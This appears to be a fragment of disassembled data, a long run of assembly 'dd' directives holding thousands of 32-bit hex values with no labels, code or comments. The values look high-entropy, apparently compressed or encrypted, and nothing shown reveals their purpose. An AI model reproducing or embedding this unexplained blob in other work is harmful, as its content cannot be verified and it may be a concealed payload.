		dd 84DF5D8Fh, 60F08805h, 0C4348141h, 7ABFE82Dh,	5437CF0Bh
		dd 8D54C1DEh, 525EFF8h,	27160AD4h, 0FBD40089h, 0AC23F86Dh
		dd 0D0521E01h, 0F0FDADB9h, 7DD65980h, 0EC6FF2B2h, 0E0523C25h
		dd 3BE0594h, 0E6D2B9Dh,	6110CBC7h, 85800D2Dh, 21F22B8Fh
		dd 0FDA8C300h, 0BF6EE8ADh, 0F55F065h, 99375E3Ah, 60440E27h
		dd 0F3B67C2h, 2BF85D03h, 0C8AB8F72h, 55C186h, 0D104D895h
		dd 0FB45E3BFh, 61C5E900h, 79B31A7Bh, 828002Ch, 0D8EF4C6Bh
		dd 35004DFCh, 83C7692Dh, 7EAADFh, 27EA3FE2h, 0D79F2101h
		dd 0EF8AC00h, 33A3E526h, 6740019h, 0D3DD56A4h, 2F004469h
		dd 5E1BFE81h, 3A7AD4h, 0D54917CBh, 785BC1C5h, 420071E0h
		dd 6635A4A2h, 41C95Fh, 827BBB1h, 47632326h, 10B49230h
		dd 0E941FF7h, 31A3D7DBh, 7D67FB20h, 1248F370h, 0CFBE07BCh
		dd 0D5B0A1D3h, 3908DCCh, 0B1FD3F02h, 110098B8h,	1C83ED7Bh
		dd 0F6171Dh, 732AE85Eh,	24AC7182h, 0C42D440Fh, 6A9DA0AEh
		dd 18CA479Bh, 0C9E3058h, 0C9087ECh, 94D7714Eh, 0FB228D30h
		dd 242D3F38h, 3CA8A4B0h, 99E09121h, 4E11BA04h, 0A88133C5h
		dd 2B7BBEh, 0D80B0DD0h,	8C1FD9AAh, 918048BAh, 0C87CB436h
		dd 78A400C1h, 0B2A249F1h, 9EFA03C7h, 60419526h,	74C43403h
		dd 0F9FBD0BCh, 0A7C5003Bh, 2575453Ah, 1C008880h, 0C6C92196h
		dd 70AE24FFh, 0B68B00ECh, 597E5866h, 9C07CA2Ch,	209EE194h
		dd 0A52D60A0h, 81C8004Fh, 0ED61BD6Ah, 24008372h, 0F22E9D42h
		dd 667CFF0h, 2C75EBFh, 4800209Ch, 0AAB27B50h, 0B81F1DBh
		dd 4663052Bh, 0E5EDFC80h, 600FB5Ah, 7AA8E221h, 6C5B3Fh
		dd 32F39910h, 4B43C3EAh, 0BF9F4E00h, 4D8FDEBCh,	8B9391Bh
		dd 0FCB20070h, 1F86680Eh, 7630A4E2h, 0D0E0BC41h, 7DA7D74h
		dd 936A0655h, 47714C15h, 21402000h, 9819EC3Bh, 4DA500A6h
		dd 0EA4585A1h, 9603F6E5h, 55ADCB7Ah, 0A55800D9h, 775FE67Bh
		dd 0B4009395h, 5DCE6D41h, 7F3BCCh, 693C99C7h, 1223D65Ah
		dd 0E86398C0h, 20971Ch,	6BC489Fh, 726BA0B3h, 7F295C00h
		dd 67C9AE0Bh, 3081E185h, 97C0B8EEh, 8024E975h, 500C2B60h
		dd 1CE83807h, 8088D8D4h, 6C8462E4h, 907F739h, 9A319BEFh
		dd 6B8ADF30h, 0BDAC054Ah, 6A680Fh, 4515680h, 0AB712877h
		dd 4B7C8A01h, 0A6E220FCh, 0E84EDC60h, 64E414D0h, 3114D681h
		dd 8D009015h, 0B659E3A9h, 984CDEDFh, 0A40C0069h, 3A5CE216h
		dd 694800D9h, 0D58F272Ah, 2D3DB2BBh, 0FB528464h, 0B5C0B888h
		dd 0E986B78h, 9BEB2A6Ch, 6D8380BFh, 0A22F20C7h,	0B30B3Fh
		dd 637B9001h, 0C19F10h,	67951533h, 387436C8h, 0BC078BE2h
		dd 7A24B3C0h, 80678D0h,	85A93E8Fh, 34BF1802h, 0F480C6CDh
		dd 0C35BF1B0h, 0B24FE3Dh, 80934E73h, 68D49D77h,	18E90350h
		dd 0D7387B95h, 0A9C80EBBh, 1F7A5D01h, 6D6B7200h, 3AA81D4Dh
		dd 0B5B6002Eh, 0A04B133h, 6217A9FAh, 7800EBDAh,	4782326Dh
		dd 0B57A00B4h, 53680D4Dh, 0D10044D8h, 3DB72218h, 0E0B8E2AFh
		dd 4AD6004Ch, 0A101C49Ah, 0E8000DB2h, 3B5A2F79h, 0E343933h
		dd 70BC038h, 64D3FF00h,	0BB07AE67h, 0F8CC62D2h,	6CB9AC80h
		dd 4F0E1654h, 3C8001A6h, 7056392Fh, 14004143h, 0D167EFA7h
		dd 7A5ABC23h, 109600B8h, 37EEBAFAh, 970F8B21h, 0C0B3E551h
		dd 0B5A653B0h, 74BE0309h, 9A4C166Ch, 0CA5ED3C8h, 0AE62F600h
		dd 0EB0683B7h, 0D9DF0002h, 7CEE7274h, 0AD00C934h, 59364F77h
		dd 7FEBA433h, 0D530000Ch, 0BEE16DA7h, 800D2B6h,	0FB7232E7h
		dd 6762D984h, 0CEA1CCFAh, 84216A09h, 2515C771h,	19DCE8A0h
		dd 1F4C2900h, 0B998FD7h, 0BF4E0D4h, 41CD7D59h, 0AAFC1780h
		dd 0B9008D87h, 5A9E7C1Bh, 6F5BD6Bh, 39A5B3B1h, 0DB00F897h
		dd 9B781703h, 1E624h, 0BF48717Eh, 9E4DCC16h, 8BE56C3Bh
		dd 8534E34Ch, 6EC03E9Eh, 0B0653Dh, 0B8AE29D3h, 87D7F25Ch
		dd 0C1A51900h, 948BA3F3h, 2817274h, 739821EFh, 0D861B6A2h
		dd 400FEDA4h, 0B92F24B0h, 7D9AEE00h, 477C5EFEh,	9F36001Fh
		dd 993BAD81h, 0D300507Ah, 7F315CD1h, 4EC1D2h, 109FE575h
		dd 0CB234B76h, 0CF652200h, 0DEE16CE0h, 0DCFD0102h, 2CCD8BCCh
		dd 0FA9ED87Eh, 0EA09EC02h, 804397DDh, 4F415AE5h, 0A2820091h
		dd 0D171AB9Fh, 990034F0h, 4723A7Fh, 470B2Ch, 1A1E1F53h
		dd 43F0F440h, 4B155103h, 0C0BB27CBh, 687B9Ch, 99381F60h
		dd 0B66D483Dh, 2F1C342Ch, 0CC095000h, 768D2EF6h, 843A0049h
		dd 53D4A065h, 217AAF16h, 7B42FF00h, 0E8624789h,	509C01D6h
		dd 0E7CCC8BDh, 1C588049h, 243ECBBEh, 2D680A5Eh,	0E88A23h
		dd 0F09512F8h, 4AEA76FEh, 1F00924Ch, 0B4CDFBBh,	4C5C1114h
		dd 170071C7h, 6B90C1E9h, 0E11C552Dh, 1940EBD0h,	37667E59h
		dd 0E62114EDh, 16009DF2h, 735377FEh, 0FA00CFA1h, 2188F4BDh
		dd 0CB0AE8h, 0DD229A69h, 0BF03CD91h, 34C59B00h,	3C8365A8h
		dd 0E21500FAh, 8A6F7B1Ch, 9A025F19h, 82E058A1h,	2FAC6061h
		dd 59FC0035h, 494BE41Dh, 0E10093CDh, 3260403Dh,	900EECABh
		dd 8AC70090h, 0C94CF13Bh, 40122ADBh, 0E7BCB105h, 56D73F00h
		dd 640CB563h, 0A74E7601h, 0AD0ED962h, 135B7C64h, 0DFC277h
		dd 4ECFE70h, 0EE01E7D5h, 84CDF64Dh, 12D4721Fh, 5E4001CEh
		dd 3CD86683h, 71BD8B4h,	6E539414h, 33E20B8Ch, 2A50009Ah
		dd 1259014Fh, 1BE6F5h
		dd 5D9B2BB4h, 0D7B850C6h, 731D3904h, 4480DA12h,	0B23FA2h
		dd 81CF9099h, 522041E9h, 36AFB71Ch, 675B8A80h, 1E7179h
		dd 9383C1E5h, 0C3B61262h, 28639100h, 4DBE5F08h,	0C7275h
		dd 5C77828Ah, 13CC6CD1h, 317C3718h, 0A8A616h, 2B06A449h
		dd 9A4DEF41h, 754DD5Ch,	905AAE0Ah, 78269961h, 1758BCFCh
		dd 4A713Fh, 13BA68FCh, 0AB008E7Bh, 8A5FA798h, 150905h
		dd 37FA572Eh, 0D5C01EB4h, 78B73F00h, 47C95479h,	7DC33E98h
		dd 0EAB65A80h, 0C5ACE560h, 73C88716h, 94FB7200h, 321836h
		dd 82BCA221h, 5BBEAB5Fh, 0B06A6300h, 2CB85C6h, 0D20A4C11h
		dd 0EE407A00h, 0BCA329DDh, 8A45B501h, 3CD66723h, 0B8D09F30h
		dd 7CFB000Dh, 42905977h, 0E500BA88h, 0AED28E5Fh, 249228h
		dd 779F8380h, 0D1734B1h, 0B5A42712h, 1FE807BAh,	5D61E007h
		dd 0BF0EFF91h, 0E73BB2C9h, 6DA031BAh, 5F67FAh, 4653F7A4h
		dd 9F38942h, 0F6838D01h, 17B903D8h, 12F37C4h, 6D3045E0h
		dd 0EDAEA062h, 18080F9h, 0E2C15EBAh, 0F8F1A3E3h, 0E6A361h
		dd 0B53102F7h, 1E8D7AF6h, 55FAAC00h, 0AD9605CAh, 0E6E4B8h
		dd 7B5C685Dh, 0CF10DB43h, 0C387FE00h, 4762750Eh, 0E83403D5h
		dd 0DB787786h, 9D44BB8h, 2AD9E700h, 124F2CF2h, 523B00FFh
		dd 0A6967D7Ch, 7F010EF0h, 0C2E9D104h, 0EDCCCDFDh, 5B530012h
		dd 2B93A4DAh, 720BBB2Fh, 0A1B47Bh, 8E14053Dh, 0FC1700ECh
		dd 0FDD36D60h, 0B7FA4E87h, 0CBCF6101h, 0C75A2945h, 55AAF4h
		dd 600E3283h, 842EAFADh, 0EC2D4903h, 0A87C6766h, 990FEh
		dd 0F2B0E4Dh, 7EDBB502h, 2B7CF3Bh, 648AFD3Dh, 0DCF96058h
		dd 60F4001Ch, 70BBC979h, 0D300887Ah, 0F14FA837h, 2A07DDBFh
		dd 9CE2F6h, 4A7A6166h, 0F9CA11D4h, 0DFC08400h, 36C776Eh
		dd 2723001Bh, 0EB9ED252h, 400C149h, 0F713DA1Ah,	767AF29h
		dd 0CF3D7B25h, 0BE6B032Eh, 322087BAh, 0C35E9C8Dh, 8ECFFACAh
		dd 9D9E2CE8h, 25F1A500h, 69BA0765h, 0D95F0302h,	85931133h
		dd 8810D0A0h, 38FD7516h, 0EA00AB16h, 0C5D2E565h, 0DAE90ECEh
		dd 62235381h, 41E8903Dh, 7E007482h, 0CCBA2FF9h,	32BD6DFh
		dd 9F095436h, 94800417h, 0E10074F2h, 25B3F7DAh,	33A758Ch
		dd 88B56A2Ah, 0C698EEBFh, 0DA7392E9h, 2C879B3Dh, 420F1FD1h
		dd 906F60F7h, 12290E1Eh, 1E0958Dh, 58D8F50Ah, 55CD30BDh
		dd 0F3D98F0Ch, 277C28h,	947B8659h, 0E6CAB709h, 1E634503h
		dd 90AE711Bh, 0D1DE19h,	608EDA79h, 4E3FAD48h, 0EA007FFEh
		dd 42206FDBh, 0B374C8h,	0EC37259Ch, 9D95FD1Fh, 3128D4E4h
		dd 0D00D38Fh, 51E024C1h, 3C08EB44h, 1101D02Bh, 0C5729EBEh
		dd 5482209Ch, 4C4FF919h, 0E3415838h, 0A7D41C88h, 0BD640063h
		dd 2FD7F30Eh, 927A83ADh, 57C92900h, 0D5C55A10h,	4D1E0165h
		dd 5EE0BD5Bh, 60F1CDD0h, 890092ECh, 1138F908h, 79860E5Dh
		dd 84F85073h, 6BAD0317h, 633AF121h, 0BE5E5088h,	3ECA9C00h
		dd 0B44FA404h, 35E5302Fh, 7CA68021h, 1F077907h,	84E13178h
		dd 0B261E059h, 888E4h, 2C348F9Dh, 50788643h, 0C082A600h
		dd 5487736Eh, 0F7D10013h, 0FD1D6FCBh, 0E57B7EBFh, 0F8A58F03h
		dd 0A08127D4h, 97D5AA0Dh, 75005EF8h, 0FA1BC438h, 1487AF3Fh
		dd 90167CC9h, 2DE32B0Fh, 0D1891380h, 5700353Eh,	9A62749Bh
		dd 98D4BB47h, 0A05D030Dh, 3A37092Ch, 18D93900h,	5A78A15h
		dd 837844h, 3E5512FEh, 0CFEB5E68h, 0FC26890Fh, 404EE185h
		dd 1EC42B04h, 0D0E303BDh, 86C4664Dh, 0E96E0291h, 0E98C2025h
		dd 0C6DC8200h, 20D59335h, 0DABC0049h, 0CA683285h, 0FB0017FCh
		dd 0A52D87F5h, 36362B8h, 145849E0h, 0E3C95C56h,	8348BBE2h
		dd 736C38C4h, 86F9918Dh, 0F4F9DDCh, 147517A3h, 793BC161h
		dd 70C8F9AFh, 4503631Ch, 0F4312F99h, 83E000D5h,	3ECC735Ah
		dd 0AFC9B0Fh, 0C0E15800h, 0C4B8BE49h, 0DC4050AEh, 0E301008Fh
		dd 921535D7h, 8203618Ch, 73D6B4C5h, 6E5BE06Ah, 0AEEB0156h
		dd 0E340946Bh, 0BC242044h, 0A65C7100h, 87222C93h, 459B0019h
		dd 0F0A154Fh, 9A04437Fh, 893A2F18h, 40CDBC80h, 5BF484h
		dd 0ECC6779Ch, 8C71A8Bh, 80B690C9h, 0B7565F4Ch,	60CE004Ah
		dd 0B27C9944h, 0E80BE77Fh, 0DF7977h, 66CC39F4h,	2EC40224h
		dd 271C2967h, 0C28B3840h, 0B39A8D00h, 3851579Eh, 0C9A70019h
		dd 0F4E4B95Fh, 5900E0D3h, 0B3FDC78Ah, 38DF0Ah, 0C45E1AB6h
		dd 0AC558D41h, 763D2230h, 64BC7Fh, 402D378Fh, 4F66BED7h
		dd 2C007C90h, 46D9B982h, 85C73h, 884D06EFh, 0A0ED48BCh
		dd 77521300h, 7899E045h, 55500123h, 8118602Fh, 0FB70202Ch
		dd 7D4CEC59h, 0A8C43424h, 0AA80A4A6h, 70E9B59Bh, 0B19A0030h
		dd 0F3C07222h, 0D33CA4A3h, 173E188Ah, 0DC5430h,	109AC8B3h
		dd 1D620E3Ah, 70FA5100h, 2DAF4BADh, 39B0094h, 7A5C8446h
		dd 0EE0C2B05h, 400277ABh, 69920042h, 0ABBE3EDh,	0B801D0ADh
		dd 0AF106CB1h, 0CDDCA61Ch, 0F31E0357h, 45916EA4h, 2A3F5807h
		dd 47C2FB04h, 7B81D787h, 0CA15D18Bh, 5A8F4CC0h,	3B5D2A00h
		dd 0D777B472h, 3F7A009Bh, 63D8D697h, 830042ACh,	0ADA7212Ah
		dd 15EB93Bh, 22F1B458h,	64DDD262h, 3E7F7030h, 2556E500h
		dd 0EAC16C34h, 98D92867h, 5A5500A0h, 8D7FDF0Bh,	43F20C14h
		dd 4774511Eh, 1AE97540h, 30EB9CE2h, 0F851D9D5h,	5C7B3E35h
		dd 0CC00C0EAh, 0FF866E91h, 53CDA02Eh, 0D52E34E4h, 83F906A2h
		dd 363F41AFh, 8DFD8037h, 61CF99E6h, 4F77000Ah, 2F109A2h
		dd 0E2004649h, 0FF4264CBh, 9E54F0h, 82160ACAh, 0E72BBA04h
		dd 0F6BEA705h, 0C0012897h, 0C3256173h, 48D9E042h, 2882008h
		dd 90195C6Ah, 0A8C3483Fh, 0AA4369AAh, 461D4A80h, 8BE07904h
		dd 68804083h, 1FF6349h,	87E7647Eh, 52AE4CDEh, 0B0802AC4h
		dd 0B06911BDh, 479C8E54h, 7BF30B00h, 7D749372h,	0CC917C8h
		dd 168C0CB2h, 0FF00BA70h, 8E450679h, 2E669E0h, 87DB2D0Eh
		dd 0B4402A70h, 0A7006774h, 69ABA82Bh, 3E26AC5Eh, 0D100B395h
		dd 9E485D3h, 0D4763FA6h, 921F7A00h, 0CB1A2EA4h,	31E53E67h
		dd 0B78A5D80h, 0A2751ABh, 9F030C74h, 6E64880h, 688E8003h
		dd 0E2CE00A5h, 947C782Dh, 0BE00ACD3h, 555ED87Ah, 1D916FB7h
		dd 8EC67689h, 9C80B0FEh, 18E1789Eh, 530D22h, 4AC15890h
		dd 0A0B45E42h, 3B1EDD05h, 6CD06EACh, 1F5610AAh,	3B50ECADh
		dd 0C730D487h, 4B7DE1DCh, 0D32EFCB1h, 31D5C430h, 6D5258h
		dd 0F6A94009h, 3B44B517h, 0BA2492F6h, 0DC406CECh, 518C697h
		dd 0A54BB849h, 0C81D99h, 602CF2B9h, 0D400DA7Fh,	58ABC384h
		dd 5C0109C7h, 3C748A14h, 0C69F7E95h, 84780C8Bh,	0D776A2B8h
		dd 53A62511h, 28036A00h, 0FF5A5B32h, 0E1C31E00h, 79C50F3Fh
		dd 0A86C09E4h, 3C0388F3h, 68588546h, 0A55800E8h, 0D492BB78h
		dd 298F1C25h, 9B10C607h, 9D005988h, 0E49F0211h,	1294E9FDh
		dd 40EB679Ah, 77899028h, 0E4E8D4C7h, 0C673ED17h, 24C56C47h
		dd 5017E2C0h, 9F141825h, 5DC4518Ch, 64328B02h, 41FE6A5Bh
		dd 0D82415B4h, 0A2670733h, 71093119h, 828114A0h, 17A4EA78h
		dd 0CEBC487Bh, 0BBD11FFCh, 3BD271h, 4E7D3C9Ch, 11003D80h
		dd 0DA4050F5h, 39BCAD8h, 255A5710h, 52E8753Bh, 0E80BB351h
		dd 8205718Bh, 0C0779880h, 16AD078h, 95841048h, 0F481DA89h
		dd 5C07AC12h, 67C09CB2h, 60740EE9h, 28233F6h, 4429C3F3h
		dd 0CA80B9EFh, 0AB3B0E24h
		dd 0ACC91Dh, 7C1E17FEh,	83523Ch, 8203D36h, 74A0262Eh, 870094ECh
		dd 49971480h, 9B4CC38h,	271A09E9h, 5A9C081h, 0DF60F8F4h
		dd 3181DB00h, 0FD56A286h, 1EDA008Eh, 66DEF828h,	887D3EF6h
		dd 0B919930Bh, 89F8802Ah, 4856FB85h, 22005595h,	76DE9EACh
		dd 0DCA0FDAFh, 0ADE67DF0h, 0B5E7D800h, 67D1BEAAh, 0B7E6BFh
		dd 0B943CD4Fh, 61F86F5Fh, 0B5812001h, 57638E3Bh, 3794D4h
		dd 0B7E018D0h, 2BF5BCE9h, 485CECA0h, 0BB1FD17h,	22574403h
		dd 39EEB08Fh, 9D2B0F54h, 87E18486h, 0C4FA6BCBh,	6C005115h
		dd 0BEA263Fh, 3CBD71AAh, 6089E622h, 24410803h, 10F880B3h
		dd 0E94062E8h, 555803EDh, 0E12BC7CBh, 5A168EF0h, 78AA8D00h
		dd 0A65D0DC1h, 56D7064Fh, 2104F43Dh, 0B8E4B628h, 0D800A878h
		dd 40CE5950h, 1E1D5E5Ch, 40E24EEFh, 3B1A9599h, 871D7005h
		dd 325FDAD7h, 0E59DB040h, 81EDEAh, 4260E790h, 3A8DCBF7h
		dd 0D2412E00h, 0C422D892h, 641D006Ch, 0C8B232E5h, 0B1036913h
		dd 0F5A54D91h, 0F2078BBAh, 9C080FCh, 267903h, 56A9775Bh
		dd 7D9A4A8h, 9616FA00h,	0C16B4E33h, 0E68100FEh,	0A2901ADh
		dd 0F91F505Eh, 0CA0B085Dh, 9F20002Fh, 38F1D1h, 2596E344h
		dd 0ED8FBC37h, 6F352400h, 0D24CA947h, 4485011Fh, 0A7938D01h
		dd 0E5D020CEh, 0CF0667F2h, 141AC321h, 0A4E8006Ah, 56130A28h
		dd 0EB0E3465h, 40DC5FF6h, 43D16776h, 3F5490FAh,	4000C250h
		dd 0BF3B4509h, 3A00FB1Ah, 4BD1958Dh, 8CFADEh, 0C2C9D32h
		dd 0D0CC80EEh, 5A17B700h, 0AB54381Bh, 2FF807E4h, 52A65032h
		dd 504010E6h, 0FA405D3Ah, 620B0F27h, 0D22E66F1h, 0AF1D2E60h
		dd 86040889h, 0F75B59C3h, 49CCC8h, 85933E10h, 44774802h
		dd 0F4D90C00h, 0F5213435h, 1BFC00F9h, 0F1A2C83Eh, 2D4DD3EEh
		dd 5DE96E98h, 0A89DE2C1h, 9320AFB5h, 4DB80959h,	0A98945C8h
		dd 0DADB8080h, 0B1005269h, 0C44A0EF7h, 0D943EEh, 4D0BCF04h
		dd 8228AFAEh, 0E3034F00h, 29D4F0BEh, 4A5900DEh,	0AA752EB8h
		dd 680F1979h, 81BFFCEBh, 0A4866983h, 3A42F098h,	35003036h
		dd 0E4E0E65Eh, 53CA93h,	1F872489h, 0DA3D864Bh, 0AD6DCF00h
		dd 0F02EBE60h, 0A3420053h, 8E9F8143h, 0A40FCA72h, 611799B7h
		dd 1E7D73BAh, 7434F561h, 39070092h, 7A41CCFAh, 32003430h
		dd 42ED5926h, 4D781C15h, 9600B0A3h, 18AD12D4h, 7601DC2Ch
		dd 8FBBE752h, 94C01D41h, 399B0080h, 8B65A9CCh, 71007A4Dh
		dd 23F0332Ah, 285C97h, 30C4F915h, 9D298574h, 6DF89E00h
		dd 6591E857h, 0F616710Fh, 0F140019Ah, 31699B2Ah, 341DF824h
		dd 805C4E3Bh, 8A11D779h, 164C05CEh, 40B4552Ah, 12BE43E0h
		dd 0C600F257h, 17A22762h, 950F433h, 0D580445h, 3CC89020h
		dd 27000AE3h, 572530DDh, 3AC818Ch, 0ECD7BA0Ch, 0C1886739h
		dd 0E5015A36h, 1EFC434h, 2C2CE6BEh, 66645800h, 0DEE32C7Dh
		dd 3B36D500h, 0ACF89757h, 0CC4E1F5Eh, 0A22FC0B1h, 4C083703h
		dd 0EC727500h, 0DF9AE420h, 2164003Bh, 6E8E6C3Eh, 740057D0h
		dd 0C98B9487h, 1C0424Dh, 0F8AC90FDh, 0CCC2CF41h, 0A2006808h
		dd 0DAA389D9h, 59379Eh,	9540CC75h, 0E924CEF9h, 0E6BB5D00h
		dd 5B3F20EEh, 69D43A94h, 0D7F1EC00h, 0D9E58430h, 80830208h
		dd 0C8BB43h, 7ED3BE01h,	6077FA2Ch, 6E0F4ECEh, 0C076598Ch
		dd 0F29E97B6h, 0EDC9025Fh, 2D0C033Eh, 5544D560h, 7C93CF02h
		dd 685A9070h, 0B2ED6054h, 0CBAD2454h, 57F600EFh, 84F4B8AFh
		dd 0C200D479h, 24BA2D09h, 538C2Fh, 28556B1Dh, 0F3677FFEh
		dd 29EE2201h, 0EA520DABh, 1262A887h, 0F5CC8F93h, 0F0F02211h
		dd 8080B5B0h, 9B05C2F8h, 0F38A7DC1h, 900EB090h,	0AF0B0036h
		dd 0F7693D1Fh, 0C8002924h, 0CD4BA0D6h, 82F8D8h,	0FB9A5A61h
		dd 7FC193CCh, 0A10E4A74h, 93DBD4B1h, 902C384Ch,	0E2E00078h
		dd 0B1C18356h, 0A10333CAh, 0FA931A13h, 8C78007Fh, 9AC65205h
		dd 7C077D68h, 1876E28Fh, 0BD9E00DEh, 1F4FED27h,	80CA608Ch
		dd 22EFC872h, 8200E2F1h, 23DDE028h, 6FB80257h, 794018E7h
		dd 0F8CE8B29h, 2E3F5600h, 0A472C132h, 0F520C2DCh, 0D4504982h
		dd 633C5603h, 9C2179h, 5B57FA30h, 9A0C4F12h, 0F4316618h
		dd 0E472C018h, 2840DFEEh, 3C05F084h, 26062499h,	289DC151h
		dd 21255572h, 644400E7h, 28CFF2B1h, 89A04FC7h, 98F5E8Ch
		dd 891883A5h, 16002C0h,	56CFF351h, 0C0047562h, 52EA69D1h
		dd 4A14F8D5h, 3D208CDFh, 0F98902A1h, 0A0F6C9E3h, 0C3DB0FE0h
		dd 88722E46h, 63C80CD4h, 20037A98h, 0A39EE896h,	606040CAh
		dd 761300FDh, 37EB5039h, 0B677E72Eh, 0D5A44901h, 0BC2C4641h
		dd 3E68DCh, 6A51107Ch, 7F5F1B18h, 12DC5901h, 1D375AC9h
		dd 0F6D8C5E4h, 316D003Ah, 3B40619Ah, 49F8676Ch,	0BB8D5400h
		dd 17AB633Eh, 8E6907DEh, 70AE3510h, 56BDD28h, 66EF7400h
		dd 2EE027B1h, 55D90060h, 1B24E20h, 2A4CC047h, 6C280C8Ch
		dd 7465C8CAh, 0B0D150B1h, 3E1DF876h, 84059440h,	0D08DBF55h
		dd 0FDDBA50Ch, 6524CC72h, 7D19540Ah, 21800609h,	2CCC05BBh
		dd 803469Ah, 3EB9676Dh,	6E5824ADh, 0AE750810h, 215ECD09h
		dd 9F4627Ch, 7951D047h,	259469h, 2A461024h, 1AD4B40Fh
		dd 194D02F3h, 0CC9A7940h, 1EDF200h, 0FEA4CDD4h,	3A991813h
		dd 2F6F70ABh, 0F0BD5110h, 0ECE36D15h, 98AC0C01h, 0D4FA6343h
		dd 1EE0B2E2h, 6C27B400h, 0EB4E59DBh, 748D0593h,	3452130h
		dd 0C8F4B084h, 482EEDC1h, 48CA08Ch, 65FACCF6h, 200862D2h
		dd 0A3CCFEB8h, 0BC48E67Eh, 4C2A00D3h, 0A4F4DBC1h, 9961182Ch
		dd 8FE3A8FEh, 8869A0Ch,	7C21096h, 0FB278ECFh, 48DC105Dh
		dd 70002E50h, 0A946F60Ch, 7D7E6E08h, 0F29B00BEh, 0C9094E80h
		dd 1B0B5D54h, 81C31140h, 0A778159Eh, 31074878h,	90BD5F7Dh
		dd 96A81447h, 44008AE2h, 0EE99635Dh, 0F4FCA9Fh,	9E4A504Dh
		dd 8840D281h, 0A3A7F867h, 71E22000h, 3BEDF053h,	32EF0030h
		dd 0CF8B0802h, 13007D22h, 6E91E7CAh, 35F4FC1h, 79645C82h
		dd 58A869E0h, 0AF0FFE36h, 0CEBDC8B0h, 3AC1E0A2h, 3425F6Bh
		dd 48FF5DBFh, 4BF14064h, 4107EBEEh, 0B07B7C3h, 26DD7D30h
		dd 18226090h, 9569FCDBh, 3A847600h, 8AEB4604h, 0AABA1FE6h
		dd 0CF1A80FEh, 0C4719B2h, 0F1967B00h, 0B8E79BB3h, 54DD0088h
		dd 936BBB9Fh, 170EC35Ah, 0A07AB5E6h, 0C7241239h, 8AF626h
		dd 2050EEE3h, 0CD789EC5h, 797FFD00h, 444EDF84h,	0E6D918FFh
		dd 0BAE1C057h, 0E34B8005h, 5006826Fh, 1A307A81h, 18418A65h
		dd 2C21360h, 0D3C7E800h, 482AA386h, 0F5890066h,	4401FC26h
		dd 84A84199h, 3070443h,	0E64EEF47h, 0D2C07B87h,	0AE155Ch
		dd 910DEC87h, 43207F13h, 35B0170Eh, 0B1D9E0CEh,	0C8F5D1h
		dd 0A7EE1A4Dh, 0BA59CC2Ch, 0FB88E800h, 7FF328F2h, 96FD0BB5h
		dd 940D2621h, 0E0409C10h, 0FAECDC07h, 8F3FD30h,	530700B8h
		dd 0B3CC630Eh, 77003471h, 0D9E828D0h, 8C34Eh, 5A1F89B7h
		dd 2FF205A7h, 68AB0F00h, 0C071B6B3h, 182A783Dh,	0A0383F8Ch
		dd 451934B5h, 0CA98A186h, 0B86DDCh, 573E07E3h, 6EB6A373h
		dd 53EAB100h, 74018CAAh, 3415004Eh, 3C69FEEDh, 5C5C99BBh
		dd 3D490C44h, 6631948h,	33F6B3C7h, 44A0A81Dh, 65072549h
		dd 0BA3C678Bh, 15E9C716h, 98B206D7h, 2D8B017Dh,	71379D88h
		dd 0A8845054h, 44037C1Fh, 0E7F154Ch, 0FF06F9E6h, 0FDEFC0h
		dd 2E2943E0h
		dd 0A1CAAB71h, 0E2C36700h, 0A63F65BAh, 68150ED2h, 0FE9D9894h
		dd 0BD438A00h, 921BC310h, 24DDA03h, 0B0293DF5h,	0F05EF877h
		dd 0E34A06BEh, 28060573h, 0D1FB6A07h, 7C30F785h, 6BEDA2h
		dd 0C47D4812h, 306E9BFEh, 3DDD4101h, 51BDFB7h, 5C3900CBh
		dd 92A6B867h, 467639F8h, 6B908709h, 2C000010h, 6CC316h
		dd 974156E5h, 9AFD1E58h, 4F574D00h, 0C9936585h,	9DBE3CA1h
		dd 0B9624018h, 303AB169h, 8D4E807Fh, 19920B33h,	2ACA0685h
		dd 29BA3AC0h, 5E25180Eh, 0BC54A0F7h, 38B70234h,	0FD0FFC9Bh
		dd 6B60930Fh, 3A82C213h, 10B0D260h, 3E8C004h, 912E0DDDh
		dd 4C000CACh, 0F7423BFBh, 9076C9Ah, 8D5E560h, 90027981h
		dd 1F02FACh, 98C500BBh,	0C282FE88h, 0B9506A18h,	0B11FFC8Eh
		dd 1B4028B0h, 2762669Dh, 0D6B064h, 29A489A9h, 0D421ED81h
		dd 5C13E900h, 1697D56Dh, 84B100E0h, 8F245AD3h, 3E07D842h
		dd 0A48ECBD7h, 3118B6C6h, 16507CF0h, 7EDFECD1h,	0C4F065E8h
		dd 0ED771A00h, 3A6E75FCh, 6F8D3AE5h, 0A9211830h, 0BE007712h
		dd 0DA34E8ABh, 0D8B3B4D6h, 909E2098h, 0B8762E39h, 0CC840861h
		dd 64590160h, 80384A26h, 0D6D8729h, 0CBFBE90h, 0A7A6B1ADh
		dd 21C12308h, 870D54E6h, 7328CF0h, 3AF246DEh, 15604F68h
		dd 775571EDh, 0F4AA4B00h, 4245C88h, 662A0056h, 0B369BBE5h
		dd 0CE60A698h, 275C7688h, 0F4D2008Bh, 3ACBD69Dh, 0FD129C67h
		dd 26006CDFh, 6AF10CC6h, 7B83E259h, 0D8FA008Fh,	0B329B620h
		dd 3F0035A9h, 4826DFCh,	3D0A50F7h, 2380A637h, 69B4262Dh
		dd 77030EFEh, 9A0C7E8Fh, 0FC42F8A4h, 0F2943E7Ah, 0DF4F9980h
		dd 298BA1Ah, 92586900h,	2C9B51E0h, 93451C47h, 27A006FBh
		dd 0CE2B41E7h, 0B3700446h, 10C6600Fh, 0EAA78F0Ch, 0DC179D3Dh
		dd 0DF240044h, 2A7F2790h, 3D3101B2h, 0D90FAD78h, 9F2990BDh
		dd 482CA884h, 0A34342B5h, 3F21BB24h, 20A91226h,	8FEE63F8h
		dd 480098FEh, 343052FCh, 7C6DB522h, 3C070071h, 324CD7E1h
		dd 6600B4C2h, 0DE69349Eh, 55279Bh, 1619F80Bh, 9FEC24FCh
		dd 7EF11E01h, 3F7B11CBh, 0A8788EC0h, 122494h, 418DC4E6h
		dd 0B3F08A7Eh, 0E224E3Ch, 13D19BAFh, 1E085B00h,	15A6578h
		dd 9E8C3BE0h, 0D4305DB1h, 0DA3CD55Ch, 0F4638628h, 48B0CEh
		dd 982D976Ch, 0D32595A1h, 1D5097h, 904B5DC0h, 0EAE11A7Bh
		dd 0A84C5800h, 0FB8B6FCh, 6EC0036h, 8F1448CFh, 180087BEh
		dd 0A3806420h, 0EA6CEA7h, 0F6F579DFh, 0BACFFA0h, 1100F41Fh
